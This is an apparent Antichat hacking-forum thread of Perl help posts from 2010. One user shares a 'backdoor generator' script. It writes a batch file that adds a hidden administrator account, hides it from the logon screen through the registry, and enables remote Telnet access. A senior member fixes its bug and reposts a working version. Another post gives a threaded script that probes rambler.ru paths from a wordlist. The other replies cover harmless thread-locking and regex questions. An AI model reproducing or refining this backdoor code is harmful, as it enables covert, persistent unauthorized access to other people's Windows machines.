Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

02.06.2010, 13:16
|
|
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме: 18127311
Репутация:
1676
|
|
Код:
use warnings;
use LWP::UserAgent;
use threads;
use threads::shared;
my $threads = 2;
my $file = 'test.txt';
open(F, "<$file") || die $!;
chomp(my @text : shared = <F>);
close F;
my @trl = ();
my $ua = new LWP::UserAgent;
$trl[$_] = threads->create(\&main) for 0..$threads-1;
$_->join for @trl;
sub main
{
while(@text)
{
my $line = shift @text;
my $code = $ua->get('http://rambler.ru/'.$line)->code;
print "$line -- $code\n";
}
}
|
|
|

02.06.2010, 15:56
|
|
Познающий
Регистрация: 17.01.2010
Сообщений: 33
Провел на форуме: 30813
Репутация:
33
|
|
Kaimi, наверно, корректнее использовать замки при шифте расшаренного массива?
Код:
my $line;
{
lock text;
$line = shift @text
}
|
|
|

02.06.2010, 17:12
|
|
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме: 18127311
Репутация:
1676
|
|
Kaimi, наверно, корректнее использовать замки при шифте расшаренного массива?
По-моему я где то читал, что в данном случае это не требуется
|
|
|

08.06.2010, 02:24
|
|
Новичок
Регистрация: 28.02.2010
Сообщений: 4
Провел на форуме: 26810
Репутация:
0
|
|
Люди подскажыте почему в создаваемом файле там где не надо строки переносятся ? о_О
Код:
#!/usr/bin/perl
###############################################################
#### ####
#### Здароваемся :-D ####
#### ####
###############################################################
system ("color 02");
print " ***************************************************\n";
print " ***************************************************\n";
print " ***************************************************\n";
print " ******* ********\n";
print " ******* SH Bat begdor generator ********\n";
print " ******* ********\n";
print " ***************************************************\n";
print " ***************************************************\n";
print " ***************************************************\n";
print " ***************************************************\n";
print " \n";
###############################################################
#### ####
#### Расспраэваем у юзера данные о бегдоре ####
#### ####
###############################################################
print " ***************************************************\n";
print " ********** vvedite login uch zapisi :"; $login = <>; #Спрашеваем у юзера пароль от учотки
print " ***************************************************\n";
print " ********** vvedete parol' ot uch zapisi : "; $pass = <>; #Спрашеваем у юзера пасс от учотки
print " ***************************************************\n";
###############################################################
###############################################################
#### ####
#### создаем переменные которые надо вопхнуть в файл ####
#### ####
###############################################################
$a = "@echo off";
$q = "chcp 1251";
$w = "net user $login $pass /add";
$e = "net localgroup Администраторы $login /add";
$r = "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v ваш_логин /t REG_DWORD /d 0 /f";
$s = "sc config tlntsvr start= auto";
$ts = "sc start tlntsvr";
################################################
# созаём файл и нибиваем в него переменные #
################################################
open(OUT, '>> begdor.bat');############
print OUT $a."\n";#####################
print OUT $q."\n";#####################
print OUT $w."\n";#####################
print OUT $e."\n";#####################
print OUT $r."\n";#####################
print OUT $s."\n";#####################
print OUT $ts."\n";####################
close(OUT);############################
#######################################
<>
Последний раз редактировалось SHok-SQL; 08.06.2010 в 10:27..
|
|
|

09.06.2010, 00:38
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме: 21768337
Репутация:
3486
|
|
Потому что данные вводимые с клавиатуры надо обрабатывать функцией chomp. И скажите хакеру который это писал, что бы прочитал что нибудь про экранирование.
perl script.pl login passwd
Код:
#!/usr/bin/perl
open FILE, '> output.bat';
print FILE "\@echo off\n",
"chcp 1251\n",
"net user $ARGV[0] $ARGV[1] /add\n",
"reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList /v ваш_логин /t REG_DWORD /d 0 /f\n",
"sc config tlntsvr start= auto\n",
"sc start tlntsvr";
close FILE;
|
|
|

09.06.2010, 01:31
|
|
Постоянный
Регистрация: 17.09.2008
Сообщений: 562
Провел на форуме: 6962560
Репутация:
536
|
|
Господа, такой вопрос:
Имеется расшаренная переменная: my $n : shared = 0;
в скрипте в несколько потоков выполняется функция, (допустим такая):
Код:
sub arbyte
{
while($n <= 1000)
{
$n++;
print $n."\n";
}
}
Проблема в том, что периодически несколько потоков, обрабатывают одно и то же значение $n, что очень мешает..( Как этого избежать, не теряя скорость выполнения..?!
|
|
|

09.06.2010, 03:18
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
мейби так поможет:
Код:
while ($n<= 1000) {
{ lock($n);
$n++; }
print $n."\n";
}
|
|
|

11.06.2010, 19:45
|
|
Новичок
Регистрация: 17.08.2009
Сообщений: 21
Провел на форуме: 62180
Репутация:
0
|
|
Как выбрать только первые 2а символа из ip адреса например из 10.33.235.101 ?
Зарание спасибо!
|
|
|

11.06.2010, 19:53
|
|
Познающий
Регистрация: 21.02.2009
Сообщений: 54
Провел на форуме: 1224548
Репутация:
134
|
|
Сообщение от anubis666
Как выбрать только первые 2а символа из ip адреса например из 10.33.235.101 ?
Зарание спасибо!
Код:
$ip = '105.189.235.101';
$ip =~ /^(\d\d?\d?)\.(\d\d?\d?)/;
В переменных $1 и $2 будет 105 и 189 соответственно.
|
|
|

11.06.2010, 19:58
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
Код:
$ip = '105.189.235.101';
($a,$b) = split(/\./,$ip);
print $a."-".$b;
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|